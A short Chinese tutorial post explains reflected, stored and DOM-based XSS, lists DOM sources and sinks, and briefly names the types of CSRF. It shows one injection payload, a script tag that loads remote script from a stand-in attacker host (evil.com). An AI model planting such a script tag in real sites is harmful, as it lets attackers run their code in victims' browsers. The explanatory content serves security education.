天天看點

前端黑客之XSS、CSRF

XSS:跨站腳本,發生在目标網站中目标使用者的浏覽器層面上,當使用者浏覽器渲染整個HTML文檔的過程中出現了不被預期的腳本指令并執行時,XSS就會發生。

絕大多數XSS攻擊都會采用嵌入一段遠端或者第三方域上的腳本資源。任何安全問題都有“輸入”的概念,很多時候輸入的内容長度是有限制的。真正的XSS攻擊彈出窗無意義。一般會注入類似

<script src="http://www.evil.com/xxs.js"></script>

這樣做的好處:攻擊代碼容易控制
           

XXS類型

反射型XSS(非持久性XSS)、存儲型XSS(持久型XSS)、DOM XSS

反射型XSS

送出請求時,XSS代碼在URL中,作為輸入送出到伺服器端,服務端解析後響應,在響應内容中出現這段XSS代碼,最後浏覽器解析執行。這個過程就像一次反射。

存儲型XSS

送出的XSS代碼會存儲在服務端,最典型的例子是留言闆XSS,使用者送出一條包含XSS代碼的留言存儲到資料庫,使用者檢視留言闆時,那些留言内容會從資料庫查詢出來并顯示,浏覽器發現有XSS代碼,就當做正常的HTML與JS解析執行,于是觸發了XSS攻擊。

DOM XSS

DOM XSS的XSS代碼不需要伺服器解析響應的直接參與,觸發XSS靠的是浏覽器端的DOM解析。

常見的輸入點:

document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name
document.cookie
document.write
document.body.innerHTML
document.forms[].action
document.attachEvent
document.create
document.body
window.attachEvent
document.location
document.location.hostname
document.location.replace
document.location.assign
document.URL
window.navigate
window.open
window.location.href
           

CSRF:跨站請求僞造

跨站請求僞造是其他站點的,對于XSS來說,發起的任何攻擊請求實際上是目标網站同域内發出的。

CSRF類型:HTML CSRF攻擊、JSON HiJacking攻擊、Flash CSRF攻擊